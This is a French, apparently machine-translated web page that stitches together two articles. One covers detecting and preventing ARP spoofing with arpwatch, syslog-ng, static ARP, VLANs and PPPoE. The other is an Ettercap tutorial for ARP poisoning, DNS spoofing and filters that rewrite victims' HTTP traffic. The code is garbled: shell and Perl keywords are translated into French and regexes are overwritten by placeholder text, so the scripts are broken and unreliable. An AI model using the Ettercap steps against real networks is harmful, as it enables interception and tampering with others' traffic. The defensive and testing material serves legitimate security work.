21 juin 08:37:09 [courriel protégé]/192.168.15.201 arpwatch : adresse Ethernet modifiée 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

vous pouvez utiliser le script et déterminer à partir de quel port de commutation il a été créé (peu importe qu'il s'agisse de la véritable adresse MAC de la carte réseau de l'attaquant ou qu'elle ait été modifiée) :

%# mac=$(cat /var/log/daemon.log | grep "modification de l'adresse Ethernet" | awk "(print $10)")
%# ./mac2port | grep $ mac
0:a:1:d4:d1:e3 -> 2

Il est important que la détection soit effectuée rapidement alors que les informations sur l'attaquant sont toujours stockées dans la mémoire du commutateur.

Pour ce faire, il est judicieux d'appeler automatiquement le script de recherche lorsqu'une entrée correspondante est trouvée dans le journal système. L'analyse des journaux peut être effectuée, par exemple, par des moyens tels que Regardez ou alors syslog-ng.

Par exemple, si syslog-ng est utilisé. vous pouvez créer un script qui effectue l'analyse :
/usr/local/bin/syslog-ng-arpwatch

#!/bin/ch
CHEMIN=$CHEMIN:/usr/local/bin
pendant la lecture de la ligne
faire
mac="$(echo $line | grep "modification de l'adresse Ethernet" | awk "(print $10)")"
[ -z "$mac"] && continuer
(écho POSSIBLEMENT ARP-SPOOFING DE :; mac2port | grep "$mac")| logger -t usurpation d'arp
Fini

et connectez-le à syslog-ng.
Pour ce faire, vous devez spécifier les lignes suivantes dans le fichier de configuration syslog-ng.conf :

destination dp_arpspoofing (
program("/usr/local/bin/syslog-ng-arpwatch");
};
filtre f_arpspoofing (
match("arpwatch");
};
Journal(
source(s_all);
filtre(f_arpspoofing);
destination(dp_arpspoofing);
};

chaîne
filtre(f_arpspoofing);

vous ne pouvez pas spécifier, mais sur les systèmes chargés, cela réduit considérablement la charge. Dans ce cas, lorsque l'arp-spoofing est effectué, ce qui suit se produit :

  1. Démon arpwatch envoie des informations à syslog (via le socket standard /dev/log ou /var/run/log) ;
  2. Dans le cas où Syslog-NG est utilisé comme serveur syslog, il détecte la signature du message et transmet la chaîne détectée au script syslog-ng-arpwatch;
  3. Scénario syslog-ng-arpwatch, s'il voit que le problème est vraiment lié à l'usurpation d'ARP, il appelle le script de recherche de port par adresse MAC ;
  4. Scénario mac2port accède au commutateur via SNMP ;
  5. Le commutateur répond - envoie des tables contenant des informations sur la correspondance des adresses MAC aux ports au script qui l'a appelé;
  6. Scénario mac2port retourne une table de correspondance des adresses MAC aux ports du switch au script syslog-ng-arpwatch;
  7. Scénario syslog-ng-arpwatch trouve le port d'intérêt et écrit un message dans syslog ;
  8. Démon syslog-ngécrira un message avec des informations sur le port du commutateur dans un fichier, et peut également l'envoyer par SMS ou par courrier à l'administrateur ou appeler un programme externe (qui, par exemple, après vérifications supplémentaires peut bloquer le port du commutateur);
  9. L'administrateur prend connaissance de l'attaque découverte dans le fichier.

Voici à quoi cela ressemble dans le fichier :
21 juin 13:55:23 [courriel protégé] arp-spoofing : POSSIBLEMENT ARP-SPOOFING À PARTIR DE :
21 juin 13:55:23 [courriel protégé] usurpation d'arp : 0:a:1:d4:d1:e3 -> 2

texte du script mac2port

#!/usr/bin/perl
notre $communauté = "public" ;
notre $switch = "192.168.15.100" ;
open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.1|")
ou mourir "Impossible d'exécuter snmpwalk" ;
tandis que()
{
mâcher;
[courriel protégé]@@;
mon ($oid, $mac) = split /=\s*/;
$_=$mac;
[courriel protégé]"@@g; [courriel protégé]\s* [courriel protégé]@; [courriel protégé]@:@g; [courriel protégé](.)@\l\ [courriel protégé]; [courriel protégé]^[courriel protégé]@; [courriel protégé]:[courriel protégé]:@g;
$mac_table($_)=$oid;
}
fermer(SNMP);
open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.2|")
ou mourir "Impossible d'exécuter snmpwalk" ;
tandis que()
{
mâcher;
[courriel protégé]@@;
mon ($oid, $port) = split //=/;
$ports_table($oid)=$port ;
}
fermer(SNMP);
pour $oid (clés %mac_table) (
print "$oid -> ".$ports_table($mac_table($oid))."\n" ;
}

Méthodes de prévention

Lutte contre l'usurpation d'ARP avec arpwatch et des outils similaires est, bien que très simple, mais loin d'être efficace.

  • Tout d'abord, afin de réparer l'attaque, le programme arpwatch (ou similaire) doit être exécuté sur les nœuds protégés. Dans le cas où il s'exécute sur un seul des deux nœuds soumis à l'usurpation ARP, il existe la possibilité d'une attaque unidirectionnelle inaperçue.
  • Deuxièmement, et surtout, arpwatch permet seulement de réparer l'attaque, mais il n'est pas capable de l'empêcher.

L'intervention d'un administrateur ou d'un système externe est nécessaire pour prévenir les conséquences d'une attaque. Dans le premier cas, trop de temps peut s'écouler entre la détection et la réponse de l'administrateur. Dans le second, aucune intervention n'est requise, la réaction est effectuée automatiquement : dès qu'une anomalie ARP est corrigée, le port du commutateur auquel la source de l'anomalie est connectée est déterminé, et le port est bloqué jusqu'à ce qu'il soit clarifié. Cependant, cette approche a un gros inconvénient - elle peut être utilisée pour effectuer Attaques DOS: il suffit juste de connaître l'adresse MAC de l'ordinateur à déconnecter du réseau, et de simuler une attaque depuis cet ordinateur. De plus, notre système de détection et de prévention de l'usurpation ARP fera tout lui-même.

Les méthodes envisagées pour contrer les attaques ARP reposent sur deux principes complètement différents, chacun présentant à la fois des avantages et des inconvénients.

Les deux méthodes, en plus du fait qu'elles protègent de manière fiable contre l'usurpation d'ARP, ont l'avantage de vous permettre de contrôler complètement le trafic - non seulement celui qui passe par la passerelle, mais aussi celui qui circule entre les machines (dans le cas de en utilisant PPPoE, les machines peuvent d'un commun accord échanger des données directement entre elles. Dans le cas de l'utilisation de VLAN, elles sont complètement privées de cette possibilité.)

Attaque unilatérale
Si vous avez besoin d'intercepter le trafic qui quitte un nœud du réseau vers le réseau externe, vous devez attaquer le nœud et la passerelle du réseau. Cependant, la détection d'usurpation ARP peut être présente sur une passerelle avec une probabilité beaucoup plus élevée que sur un hôte. Puisque nous nous intéressons au trafic que le nœud envoie au réseau, il suffit de modifier la table ARP de l'hôte uniquement et de ne pas risquer d'être remarqué par la passerelle. Les données que la passerelle envoie à l'hôte iront directement, tandis que les données que l'hôte envoie à la passerelle passeront par le système de l'attaquant. (à la fois sur la passerelle et sur l'hôte, il serait possible de suivre que sur les paquets provenant de l'hôte, les adresses MAC diffèrent de celles enregistrées dans sa table ARP, c'est-à-dire que les paquets sont envoyés à la même adresse MAC, et viennent d'un autre, mais quels systèmes font cela ?)

ARP statique

Vous pouvez traiter radicalement les faiblesses du protocole ARP - mais ne pas l'utiliser. La table ARP peut être créée manuellement, ce qui la rend insensible aux attaques ARP. Pour ce faire, vous devez ajouter les adresses MAC nécessaires au tableau.

Si en même temps nous désactivons l'utilisation d'ARP sur les interfaces réseau, alors seuls les systèmes seront disponibles, (1) dont les adresses MAC sont ajoutées à la table ARP de notre hôte et (2) notre adresse MAC est ajoutée à l'ARP tables des hôtes avec lesquels nous échangeons du trafic.

Si vous ne désactivez pas l'utilisation d'ARP sur les interfaces réseau, l'adresse MAC définie de manière statique est prioritaire. Si l'adresse MAC d'une adresse IP n'est pas définie, une requête ARP est utilisée.

La table ARP statique peut être obtenue à partir de la table ARP existante du routeur :

%# arp-an | grep -v incom | awk "(imprimer $2" "$4)" | tr -d "()"

Si vous écrivez comme ceci :

%# arp-an | grep -v incom | awk "(imprimer $2" "$4)" | tr -d "()" > /etc/ethers

il sera écrit dans le fichier /etc/ethers

Il faut que la table contienne le nombre maximum de machines du réseau. Vous devez soit créer une table au moment du pic d'activité du réseau, soit après avoir parcouru toute la plage d'adresses avec des pings :

pour je dans `seq 1 255`
faire
ping -c 1 192.168.15.$i >& /dev/null &
Fini

(ici 192.168.15.0/24 est le réseau en cours d'analyse). Une fois le fichier /etc/ethers créé, il peut être chargé à l'aide de la commande :

%# ifconfig eth1 -arp

Avantages et inconvénients

La méthode de génération manuelle des tables ARP présente les inconvénients suivants :

  • beaucoup de travail de routine est ajouté lié à l'ajout et à la modification d'adresses MAC. Chaque changement de réseau associé au remplacement ou à la permutation cartes réseau, doit s'accompagner de l'édition des tables ARP dans les fichiers.
  • les nœuds clients sont toujours vulnérables à l'usurpation ARP.

Correctifs du noyau système

Il existe un correctif (suggéré par buggzy) pour les noyaux Linux/FreeBSD qui minimise le risque d'exécuter avec succès une attaque d'usurpation d'ARP contre des systèmes corrigés.

L'essence de la méthode est la suivante. Lorsqu'une réponse ARP est reçue, l'ancienne et la nouvelle adresse MAC sont comparées, et si un changement est détecté, la procédure de vérification est lancée. Une requête ARP est envoyée demandant à tous les maîtres de l'adresse IP de signaler leurs adresses MAC.

Si une attaque est effectuée, le système réel ayant cette adresse IP répondra à la requête, et ainsi l'attaque sera reconnue. Si le changement d'adresse MAC n'était pas associé à une attaque, mais à des situations standard, il n'y aura pas de réponse contenant « l'ancienne » adresse MAC, et après un certain délai, le système mettra à jour l'entrée dans le cache.

Lorsqu'une situation suspecte (« double ») est détectée, le noyau affiche le message : « ARP_ANTIDOTE : possible tentative MITM ! », et ne met pas à jour l'entrée du cache ARP, mais, au contraire, prescrit vieux disque comme statique. Une fois la source de l'attaque identifiée et neutralisée, l'entrée statique peut être supprimée.

Patchs qui implémentent cette méthode de lutte :

* arp_antidote pour Linux
* arp_antidote 2 pour Linux
* Correctif Arp Poison pour FreeBSD

Les correctifs ne fonctionnent qu'avec le noyau de la série 2.4.

Autres méthodes pour lutter contre l'usurpation ARP

Malheureusement, cette méthode n'est pas applicable aux systèmes Windows et aux autres systèmes exécutant le système d'exploitation, la source qui n'est pas disponible.

Il est nécessaire de résoudre radicalement le problème: vous devez construire un réseau de manière à ce que l'usurpation d'ARP y soit fondamentalement impossible. Et si possible, alors inutile.

Ceci peut être fait de deux façons:

1. Limitez le domaine de diffusion pour chaque nœud au niveau de deux nœuds : le nœud lui-même et la passerelle la plus proche. Suite. Pourquoi l'attaque ne peut pas être effectuée dans ce cas. Ensuite, il n'y a tout simplement personne pour mener l'attaque - un troisième est nécessaire. Et il ne l'est pas.
2. Assurez-vous que tout, absolument tout, transmis sur le réseau est crypté et que l'écoute de ces données ne mènerait à rien. Tout changement de données, s'il se produit, est immédiatement détecté. Autrement dit, le réseau réel doit être le même et sécurisé lorsqu'il est utilisé à la place d'un commutateur concentrateur.

La première façon se fait avec VLAN. La seconde est avec l'aide PPPoE.

Utilisation des VLAN

L'ordinateur C peut utiliser l'usurpation ARP contre l'ordinateur A uniquement s'il se trouve sur le même réseau de couche liaison. Dans le cas où ils sont séparés par un routeur, l'attaque est impossible (il est possible d'attaquer le routeur, mais c'est une toute autre affaire).

Les VLAN aident à segmenter le réseau - transforment un réseau en plusieurs fragments isolés au niveau de la liaison, qui sont interconnectés par un routeur. Une attaque d'usurpation d'ARP n'est possible qu'entre des ordinateurs qui se trouvent dans le même VLAN. Dans le cas le plus extrême, lorsqu'il n'y a que deux ordinateurs dans chaque VLAN : l'ordinateur lui-même et le routeur, l'attaque par usurpation d'ARP devient en principe impossible. Malheureusement, une telle organisation du réseau est très gourmande en ressources du routeur et est rarement utilisée.

Avantages
  1. Rien n'est exigé du client. Il fonctionne comme il l'a fait. Si l'adresse IP est définie de manière statique, l'adresse IP et le masque de réseau doivent être modifiés.
  2. Les données ne sont pas cryptées et il n'y a aucune perte de performance. Petits manques pour les champs supplémentaires dans l'en-tête.
  3. Il est impossible d'organiser des échanges de données en contournant la passerelle entre nœuds de VLAN différents. Si chaque nœud est dans son propre VLAN, un tel échange est impossible du tout.
désavantages
  1. La prise en charge des VLAN sur le commutateur est requise.
  2. Vous devez passer du temps à configurer des VLAN, paramètre supplémentaire Serveur DHCP.
  3. Les données ne sont pas cryptées. Si leur écoute clandestine réussit d'une manière ou d'une autre, elles peuvent être lues et/ou modifiées.

Utilisation de PPPoE

Avantages
  1. Les données sont cryptées
  2. Il n'y a aucune configuration matérielle requise. Il n'est même pas nécessaire que ce soit un réseau commuté.
désavantages
  1. Sur le client, un accès PPPoE est requis. Certains systèmes nécessitent l'installation d'un logiciel client spécial.
  2. En raison des pertes d'encapsulation, les performances du réseau diminuent. Si les données sont cryptées, la perte de temps augmente.
  3. D'un commun accord des parties, il est possible d'organiser des échanges de données entre nœuds contournant la passerelle.
  4. Avec un grand nombre de connexions PPPoE (>200), la charge sur le CPU du serveur augmente. Parfois, vous devez sacrifier le cryptage des données.
  5. S'il y aura une forte charge sur le serveur, il est plus facile d'utiliser PPTPd ou IPsec

Mythes et idées fausses sur l'usurpation d'ARP

L'usurpation d'identité ARP peut être empêchée à l'aide de la fonction de sécurité de port du commutateur

La fonction de sécurité de port du commutateur vous permet de vous protéger contre la modification de l'adresse MAC sur le port du commutateur. Dans le cas où un ordinateur connecté au port du commutateur change l'adresse MAC ou si l'ordinateur change, le commutateur remarque le changement et arrête de transmettre les paquets envoyés avec une nouvelle adresse de retour. De plus, d'autres actions peuvent être effectuées : envoi d'un trap SNMP, écriture dans syslog, etc.

Avec l'ARP-spoofing, l'adresse MAC de l'expéditeur (attaquant) ne change pas et il n'y a donc aucune anomalie du point de vue de la sécurité des ports. La fonction de sécurité des ports n'est en aucun cas responsable de la correspondance des adresses IP et des adresses MAC, et l'attaque d'usurpation d'ARP est basée sur cela.

Ettercap est un outil d'analyse trafic réseau passant par l'interface informatique, mais avec des fonctionnalités supplémentaires. Le programme vous permet d'effectuer des attaques man-in-the-middle pour forcer un autre ordinateur à envoyer des paquets non pas au routeur, mais à vous.

Avec Ettercap, vous pouvez vérifier la sécurité de votre réseau, sa sensibilité à ces types d'attaques, ainsi qu'analyser le trafic de plusieurs ordinateurs, et même le modifier à la volée. Dans cet article, nous verrons comment utiliser Ettercap pour analyser et modifier le trafic.

Qu'est-ce qu'un homme au milieu de l'attaque ?

Par défaut, l'ordinateur envoie tous les paquets réseau qui doivent être envoyés sur Internet au routeur, qui, à son tour, les envoie au routeur suivant jusqu'à ce que le paquet atteigne la destination. Mais pour certaines raisons, le paquet peut ne pas être transmis au routeur, mais immédiatement à votre ordinateur, et ensuite seulement au routeur.

L'ordinateur par lequel les paquets passeront peut analyser la source, l'adresse de destination et, s'ils ne sont pas cryptés, leur contenu complet.

Il existe deux façons d'effectuer MITM (Man In Middle Attack):

  • Attaque ARP- en utilisant les fonctionnalités du protocole ARP, votre ordinateur indique aux autres qu'il s'agit d'un routeur, après quoi tous les paquets commencent à s'y adonner;
  • Attaque DNS- lorsqu'un ordinateur essaie d'obtenir une adresse IP pour un domaine, nous remplaçons cette adresse par la nôtre, mais pour que ce type fonctionne, vous devez utiliser la méthode ARP.

Le programme Ettercap Linux est capable d'effectuer les deux types d'attaques. En outre, l'utilitaire peut effectuer des attaques par déni de service et des analyses de ports. Voyons maintenant comment Ettercap est installé et utilisé.

Installation d'Ettercap

Il s'agit d'un programme assez populaire parmi les spécialistes en sécurité Internet, il se trouve donc dans les dépôts officiels de la plupart des distributions. Par exemple, pour installer Ettercap sur Ubuntu, exécutez :

$ sudo apt install ettercap-gtk

Sur Fedora ou d'autres distributions basées sur celui-ci, la commande ressemblera à ceci :

$ sudo yum installer ettercap-gtk

Nous avons réussi à installer Ettercap Linux, mais avant de l'utiliser, nous devons modifier quelques paramètres dans le fichier de configuration.

$ sudo vi /etc/ettercap/etter.conf

Les chaînes ec_uid et ec_gid doivent être définies sur 0 pour que le service du programme s'exécute en tant que superutilisateur :


ec_uid = 0 # personne n'est la valeur par défaut
ec_gid = 0 # personne n'est la valeur par défaut

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Ils sont utilisés pour rediriger les connexions SSL vers le HTTP normal, si possible. Enregistrez ensuite les modifications et le programme est prêt à fonctionner.

Utilisation de l'interface graphique Ettercap

Le programme peut fonctionner en plusieurs modes - avec une interface graphique, sans et en tant que service. Nous considérerons le travail dans interface graphique. Pour exécuter un programme avec une interface GTK, utilisez l'option -G :

$ sudo -E ettercap -G

Attaque d'empoisonnement ARP à Ettercap

Comme je l'ai dit, avec cette attaque, nous pouvons forcer l'ordinateur cible à envoyer des paquets non pas au routeur, mais à nous. Tout fonctionne tout simplement. L'ordinateur connaît l'adresse IP du routeur, il l'a reçue lorsqu'il est connecté au réseau. Mais chaque fois qu'il doit envoyer un paquet, il doit convertir cette adresse IP générique en adresse de bas niveau du Technologie de réseau, par exemple, pour Internet filaire, il s'agit de l'adresse MAC.

Pour cela, le protocole ARP est utilisé. L'ordinateur envoie une requête à tous les périphériques du réseau, par exemple "qui est 192.168.1.1" et le routeur, voyant son adresse, enverra son MAC en réponse. Ensuite, il sera stocké dans le cache. Mais nous pouvons utiliser Ettercap pour demander à l'ordinateur cible de mettre à jour son cache ARP et de lui transmettre sa propre adresse MAC au lieu de l'adresse MAC du routeur. Ensuite, tous les colis nous seront envoyés et nous les enverrons si nécessaire.

Passons aux choses sérieuses et effectuons une attaque attercap arp spofing. Dans Ettercap, ouvrez le menu renifler et choisissez reniflement unifié. Sélectionnez ensuite votre interface réseau, par exemple eth0 ou wlan0 :

La fenêtre du programme changera et beaucoup plus de fonctions seront disponibles pour nous. Vous devez maintenant scanner le réseau. Pour cela, ouvrez le menu hôtes et appuyez sur Scannez les hôtes. Même si quelque chose ne fonctionne pas, vous pouvez charger la liste des hôtes à partir d'un fichier :

Pour démarrer l'attaque, nous devons spécifier la cible 1 et la cible 2. En tant que première cible, nous devons spécifier l'adresse IP de la machine que nous allons attaquer, et en tant que cible 2 - l'adresse IP du routeur. Utilisez les boutons pour ajouter des objectifs. Ajouter la cible 1 et Ajouter cible 2:

Dans la fenêtre qui s'ouvre, cochez la case Renifler les connexions à distance pour intercepter toutes les connexions distantes de cet ordinateur :

Maintenant, pour démarrer le processus de substitution dans le menu début sélectionner Commencez à renifler.

Après cela, le programme commencera à envoyer des paquets sur le réseau, demandant à 192.168.1.3 de mettre à jour le cache ARP et de remplacer l'adresse MAC du routeur par la vôtre. L'attaque a été lancée et fonctionne avec succès. Vous pouvez ouvrir le menu voir -> Connexions et voir les connexions actives pour l'appareil cible :

Si le paquet n'a pas été crypté, alors nous pouvons visualiser les informations transmises en cliquant sur la connexion avec la souris. Les informations envoyées sont affichées à gauche et les informations reçues sont affichées à droite :

Attaque d'usurpation de DNS avec Ettercap

Un service spécial, DNS, est utilisé pour convertir les noms de sites en adresses IP réseau. Lorsqu'un ordinateur a besoin de l'adresse IP d'un site, il la demande à Serveurs DNS. Mais si vous effectuez déjà une attaque MITM, nous pouvons remplacer la réponse du serveur afin que notre adresse IP soit renvoyée à la place de l'adresse IP du serveur de site. Nous devons d'abord éditer le fichier /etc/ettercap/etter.dns :

$ sudo vi /etc/ettercap/etter.dns

google.com.ua A 127.0.0.1

Cette entrée signifie que nous allons changer l'IP principale google.com.ua en 127.0.0.1. Notez que cette attaque n'est pas effectuée sans la précédente. Ouvrez ensuite le menu plugins -> Gérer les plugins:

Puis double-cliquez sur le plugin dns_spoof:

Le plugin sera activé et vous pourrez vérifier l'adresse IP sur l'appareil. Le DNS est vraiment remplacé. Par exemple, vous pouvez exécuter sur la machine cible :

$ ping google.com.ua

$ ping www.ettercap.org

En plus de ces plugins, il en existe d'autres avec lesquels vous pouvez effectuer les actions souhaitées.

Filtres Ettercap

Les filtres vous permettent de modifier à la volée les paquets transmis par le programme. Vous pouvez supprimer des packages ou y apporter les modifications nécessaires à l'aide de la fonction de remplacement. Les filtres ne fonctionnent également que pendant l'exécution de l'attaque MITM. La syntaxe des conditions par lesquelles nous filtrerons les paquets est très similaire à wireshark. Regardons un filtre simple qui remplacera toutes les images par les nôtres :

$ vi test.filter

si (ip.proto == TCP && tcp.dst == 80) (
if (search(DATA.data, "Accept-Encoding")) (
replace("Accept-Encoding", "Accept-Rubbish!");
# remarque : la chaîne de remplacement a la même longueur que la chaîne d'origine
msg("zappé Accept-Encoding !\n");
}
}
if (ip.proto == TCP && tcp.src == 80) (
replace("img src="/, "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
replace("IMG SRC=", "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
msg("Exécution du filtre.\n");
}

Pour ceux qui ont de l'expérience avec les langages de programmation, tout devrait être clair ici. Si le protocole est TCP et que le port de destination est 80, nous continuons à chercher et recherchons Accept-Encoding. Puis on remplace ce mot par n'importe quel autre, mais de longueur équivalente. Parce que si le navigateur envoie Accept-Encoding gzip, alors les données seront compressées et nous n'y filtrerons rien. De plus, dans la réponse du serveur, port source 80, nous remplaçons toutes les images par les nôtres. Maintenant, le filtre doit être compilé :

$ etterfilter test.filter -o test.ef

Il reste à charger le filtre à l'aide du menu Filtres -> Charger le filtre:

Sélectionnez un fichier de filtre dans le système de fichiers :

Le filtre sera chargé et vous pourrez ouvrir n'importe quel site qui n'utilise pas https pour vous assurer que tout fonctionne. Pour arrêter une attaque MITM, ouvrez le menu MITM et choisissez Arrêtez toutes les attaques Mitm. Notre guide Ettercap touche à sa fin, mais...

Comment se protéger ?

Probablement, après avoir lu l'article, vous avez une question raisonnable, comment protéger votre ordinateur de ce type d'attaque ? Il existe plusieurs outils pour cela, y compris pour le système d'exploitation Linux :

  • xArp- un utilitaire graphique capable de détecter les tentatives d'usurpation d'adresses MAC via le protocole ARP et d'y remédier. Peut fonctionner sous Windows et Linux ;
  • Renifler- un système assez connu de contre-mesures d'intrusion détecte entre autres les attaques sur le protocole ARP ;
  • ArpON- un petit service qui surveille la table ARP et la protège de l'usurpation d'adresse MAC.

Utilisez le programme uniquement pour tester la sécurité de vos réseaux ou applications, et n'oubliez pas que les actions illégales dans l'espace d'information sont également punissables.

A la fin de la vidéo avec une démonstration du programme :

vous devez vous inscrire,
pour laisser un commentaire

© 2023 ermake.ru -- À propos de la réparation de PC - Portail d'information